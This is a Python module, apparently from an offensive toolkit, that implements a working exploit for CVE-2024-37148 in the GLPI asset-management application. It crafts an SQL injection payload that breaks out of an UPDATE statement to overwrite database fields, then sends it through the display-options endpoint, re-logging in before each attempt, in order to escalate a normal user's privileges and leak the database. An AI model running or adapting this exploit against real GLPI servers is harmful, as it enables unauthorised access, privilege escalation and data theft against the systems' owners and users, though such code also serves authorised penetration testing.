import time
from http import HTTPStatus
from ..update_sql_injection_mixin import UpdateSqlInjectionMixin
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils

class CVE_2024_37148(UpdateSqlInjectionMixin):
    """
    This CVE abuse a SQL Injection in an update clause to elevate the privilege of the current user

    @author BOREL Enzo
    @cvss 8.1
    @name CVE_2024_37148
    """
    min_version = "0.85"
    max_version = "10.0.16"
    _impacts = "SQLi, Privilege Escalation, Database Leak"
    _privilege = "User"
    _is_check_opsec_safe = False # Check is not opsec safe as it update some table fields

    def __init__(self, glpi_session):
        super().__init__(glpi_session, field="display_options")

    def _make_payload(self, field, payload, condition):
        """
        Make the sql payload ready to be injected

        :param field: In which field to store the result
        :type field: str

        :param payload: The sql payload to use, Do not use `FROM glpi_users` inside as
          it will break the sql syntax
        :type payload: str

        :param condition: The condition which is mandatory, to not apply an update everywhere
        :type condition: str
        """
        return f'\', display_options=NULL, {field}={payload} WHERE {condition}; -- '

    def send_payload(self, payload):
        """
        Send the payload to the target

        :param payload: The payload to send
        :type payload: str
        """

        # Need relogin at each sqlinjection, or else the polluted session kill the payload
        self.glpi_session.logout()
        self.glpi_session.login_with_credentials()

        return self.get(f"/front/display.options.php?itemtype=NetworkPort&update=&sub_itemtype={payload}")
